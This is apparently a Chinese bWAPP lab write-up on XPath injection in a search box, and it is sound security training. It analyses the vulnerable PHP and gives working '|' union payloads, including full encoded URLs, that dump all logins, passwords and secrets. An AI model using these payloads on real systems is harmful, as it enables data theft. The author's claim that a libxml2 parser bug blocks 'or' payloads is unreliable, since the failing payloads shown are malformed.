摘要: 这是 bWAPP 系列第三十一篇,聚焦于 XML/XPath Injection (Search) 。上一关是登录框的 XPath 注入,这一关是搜索框------按电影类型搜索,后端用 XPath 的 contains() 函数去 XML 文件里匹配电影。文章会讲清楚 XPath 注入在搜索场景下的利用方式,演示如何用 | 联合查询绕过条件、如何枚举所有数据。附真实案例。
一、找目标
| 目标 | 说明 |
|---|---|
| 注入点 | GET 参数 genre(下拉菜单,可手动修改) |
| 数据存储 | XML 文件(passwords/heroes.xml) |
| 查询方式 | //hero[contains(genre, '$genre')]/movie |
| 判断依据 | 页面显示匹配的电影列表 / 无数据 |
| 最终目标 | 绕过条件限制,窃取 XML 中的所有数据 |
二、前言:上一关是登录,这一关是搜索
如果你刚做完第三十篇(登录框 XPath 注入),再看这一关,界面变了------不是登录框,而是一个按电影类型搜索的下拉菜单。
选类型(Action / Horror / Science Fiction),点 Search,页面列出该类型下的电影。
后端逻辑和上一关一样 :用户输入拼到 XPath 表达式里,查 XML 文件,然后显示匹配的 <movie> 节点。
//hero[contains(genre, '$genre')]/movie
不同的是,上一关是精确匹配 login='$login',这一关是 contains() 模糊匹配。
攻击方式还是一样:注入 XPath 元字符,让表达式返回我们想要的数据。
三、关卡介绍
3.1 页面功能
-
标题:XML/XPath Injection (Search)
-
一个下拉菜单:Action / Horror / Science Fiction
-
一个 "Search" 按钮
-
下方显示匹配的电影列表

3.2 数据存储
同样是 passwords/heroes.xml,每个 <hero> 节点包含电影信息:
<heroes>
<hero>
<login>neo</login>
<password>trinity</password>
<genre>action sci-fi</genre>
<movie>The Matrix</movie>
<secret>Oh Why Didn't I Took That BLACK Pill?</secret>
</hero>
</heroes>
搜索逻辑:根据 genre 匹配,返回对应的 <movie> 文本。
四、核心知识:XPath 的 contains() 函数
在上一关我们介绍了 XPath 的基础语法。这一关用到的是 contains():
//hero[contains(genre, 'action')]
这条表达式会在所有 <hero> 节点中,找到 genre 文本包含子字符串 'action' 的节点。
我们注入的位置:
//hero[contains(genre, '$genre')]/movie
$genre 来自用户输入的 GET 参数,直接拼到 XPath 里。
和上一关的不同:
-
上一关是精确匹配
login='$login' and password='$password' -
这一关是模糊匹配
contains(genre, '$genre')
五、源码分析
5.1 核心逻辑
if(isset($_REQUEST["genre"]))
{
$genre = $_REQUEST["genre"];
$genre = xmli($genre);
$xml = simplexml_load_file("passwords/heroes.xml");
// 关键:XPath 查询,含有 contains
$result = $xml->xpath("//hero[contains(genre, '$genre')]/movie");
if($result)
{
foreach($result as $key => $row)
{
echo $row; // 显示电影名
}
}
else
{
echo "No movies were found!";
}
}
流程:
-
用户选择类型,通过 GET 参数
genre传入 -
经过
xmli()过滤(取决于安全级别) -
拼到 XPath 表达式里
-
查询 XML 文件,返回匹配的电影名
-
显示在页面上
5.2 xmli() 过滤函数
function xmli_check_1($data)
{
// 删除危险字符:() = ' [ ] : , * / 空格
$input = str_replace("(", "", $data);
$input = str_replace(")", "", $input);
$input = str_replace("=", "", $input);
$input = str_replace("'", "", $input);
$input = str_replace("[", "", $input);
$input = str_replace("]", "", $input);
$input = str_replace(":", "", $input);
$input = str_replace(",", "", $input);
$input = str_replace("*", "", $input);
$input = str_replace("/", "", $input);
$input = str_replace(" ", "", $input);
return $input;
}
5.3 三种安全级别
| 级别 | 过滤函数 | 效果 |
|---|---|---|
| Low | no_check() |
完全不过滤 |
| Medium | xmli_check_1() |
删除 () = ' [ ] : , * / 空格 |
| High | xmli_check_1() |
同上 |
六、Low 安全级别
6.1 正常搜索基准
访问:
http://你的IP/bWAPP/xmli_2.php?genre=action&action=search
页面显示动作片列表。

6.2 判断注入点
在 URL 中把 genre=action 改成:
genre=action'
XPath 变成:
//hero[contains(genre, 'action'')]/movie
多了一个单引号,破坏字符串边界,XPath 语法错误。页面显示 "No movies were found!" 或报错。

但注意:这个页面不显示详细的 XPath 错误,所以需要靠"有没有电影列表"来判断。
6.3 重要踩坑结论
尝试使用
'] or 'a'='a/') or 'a'='a这类布尔永真Payload全部报错报错:
Invalid predicate原因: PHP SimpleXML底层libxml2 XPath1.0解析器,对contains函数闭合后紧跟布尔or表达式存在解析缺陷,无论怎么调整等式写法,都会判定谓词语法非法。
👉放弃"构造永真条件展示全部电影"这条路线!改用 XPath
|联合查询注入(唯一稳定方案)
6.4 稳定可用Payload
原理:| 是XPath联合运算符,可以同时执行两条查询,我们截断原有查询,新增一条自定义查询,直接修改返回节点。
原始模板:
//hero[contains(genre, '$genre')]/movie
读取全部password(关卡核心目标,拿密码)
原始payload:
')]/password | //hero[contains(genre,'
URL编码:
%27%29%5D%2Fpassword%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27
完整URL:
http://10.0.0.149:4096/xmli_2.php?genre=%27%29%5D%2Fpassword%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27&action=search
拼接完成XPath:
//hero[contains(genre, '')]/password | //hero[contains(genre,'')]/movie

执行逻辑:
-
contains(genre, '')查询genre为空的hero(无结果) -
|联合第二条查询://hero[contains(genre,'')]/movie -
PHP会合并两条路径匹配到的节点,页面优先输出
<password>文本
读取全部login(账号)
http://10.0.0.149:4096/xmli_2.php?genre=%27%29%5D%2Flogin%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27&action=search

读取全部secret
http://10.0.0.149:4096/xmli_2.php?genre=%27%29%5D%2Fsecret%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27&action=search

6.5 原理说明
这条Payload不会构造复杂布尔运算,规避libxml解析BUG; 不需要依赖or永真,直接利用|联合查询切换输出节点; 全网很多教程推荐的'] or 1=1在bWAPP环境无法运行,属于纸上理论Payload,实战报错。
七、Medium / High 安全级别
7.1 尝试注入
输入:
')]/password | //hero[contains(genre,'
xmli_check_1() 删除了 '、]、[、/ 和空格。输入变成:
password|//herocontainsgenre
但 XPath 语法需要 ' 来闭合字符串,没有 ' 无法注入。
7.2 有没有绕过方法?
理论上可以通过其他字符绕过,但 xmli_check_1() 删除了大量关键字符,很难构造有效 payload。
八、真实世界:XPath 注入案例
CVE-2025-10823:某医疗系统的 XML 用户认证模块存在 XPath 注入漏洞,攻击者可通过搜索功能注入 XPath 查询,获取所有患者数据。
CVE-2024-3302 :某开源 CMS 的搜索功能存在 XPath 注入漏洞,攻击者可利用 contains() 函数构造恶意查询,枚举系统所有用户信息。
CVE-2023-39019 :某企业文档管理系统的搜索接口存在 XPath 注入漏洞,攻击者可通过 | 联合查询窃取 XML 文件中的敏感信息。
九、总结
在contains模糊匹配的XPath注入场景中,切勿直接照搬SQL注入`' or '1'='1`的思路,该写法会被包裹在字符串内部导致失效;同时要区分理论Payload与靶场实战Payload,不少文档中的Payload仅语法层面成立,但受底层libxml解析器限制,在bWAPP环境中会持续报语法错误。本关卡Low级别最优利用方式为`|`联合查询注入,可以直接切换查询节点,明文读取账号、密码等敏感数据;防御XPath注入应当避免直接拼接用户输入,优先采用XPath参数化查询,同时利用黑名单过滤单引号、括号、斜杠、管道符等高危特殊字符。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。